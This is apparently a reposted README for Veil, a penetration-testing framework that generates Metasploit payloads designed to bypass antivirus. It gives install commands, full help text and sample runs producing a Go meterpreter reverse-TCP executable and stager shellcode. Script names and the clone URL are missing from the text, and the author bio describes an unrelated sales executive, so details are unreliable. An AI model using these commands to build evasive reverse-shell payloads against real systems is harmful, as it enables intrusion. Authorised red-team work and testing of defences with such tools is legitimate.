Veil – Tool To Generate Metasploit Payloads That Bypass Common Anti-virus Solutions

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.
Veil is current under support by @ChrisTruncer

Software Requirements:
The following OSs are officially supported:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

The following OSs are likely able to run Veil:

  • Arch Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+


Kali’s Quick Install

apt -y install veil
/usr/share/veil/config/ --force --silent

Git’s Quick Install

  • Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with sudo or change to the root user before beginning.
  • Your package manager may be different to apt.
sudo apt-get -y install git
git clone
cd Veil/
./config/ --force --silent

./config/ // Setup Files
This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run ./config/ for your environment.
It includes two optional flags, --force and --silent:

--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.

This can be ran either by doing: ./ --setup OR ./config/ --force.

./config/ // Regenerating Configuration file
This will generate the output file for /etc/veil/ Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update).
It is important that you are in the ./config/ directory before executing If you are not, /etc/veil/ will be incorrect and when you launch Veil you will see the following:

    Main Menu

0 payloads loaded

Don’t panic. Run either: ./ --config OR cd ./config/; ./

NOTE: Using Py2Exe is recommended over PyInstaller (as it has a lower detection rate).
MANUALLY Install on a Windows Computer (as this isn’t done by Veil’s setup):

Example Usage
Veil’s Main Menu:

$ ./
Veil | [Version]: 3.1.6
[Web]: | [Twitter]: @VeilFramework

Main Menu

2 tools loaded

Available Tools:

1) Evasion
2) Ordnance

Available Commands:

exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool



$ ./ --help
usage: [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b x00x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
--config Regenerate the Veil framework configuration file
--version Displays version and quits

[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to

[*] Payload Settings:
--list-payloads Lists all available payloads for that tool

[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
--clean Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
--ordnance-payload PAYLOAD
Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b x00x0a.., --bad-chars x00x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode

Veil Evasion CLI

$ ./ -t Evasion -p go/meterpreter/ --ip --port 4444
[Web]: | [Twitter]: @VeilFramework

[Web]: | [Twitter]: @VeilFramework

[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Veil Ordnance CLI

$ ./ -t Ordnance --ordnance-payload rev_tcp --ip --port 4444
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[*] Payload Name: Reverse TCP Stager (Stage 1)
[*] IP Address:
[*] Port: 4444
[*] Shellcode Size: 287


Author: Marshmallow

Marshmallow Android is BT Ireland’s Head of Sales for Republic of Ireland domestic multi-site companies, indigenous MNCs and public sector accounts. He is responsible for the direction and control of all sales activity in the region. He has over 10 years management experience from high growth start-ups to more established businesses. He’s led teams in Ireland, India and China across various industries (ICT, On-Line Recruitment, Corporate Training and International Education).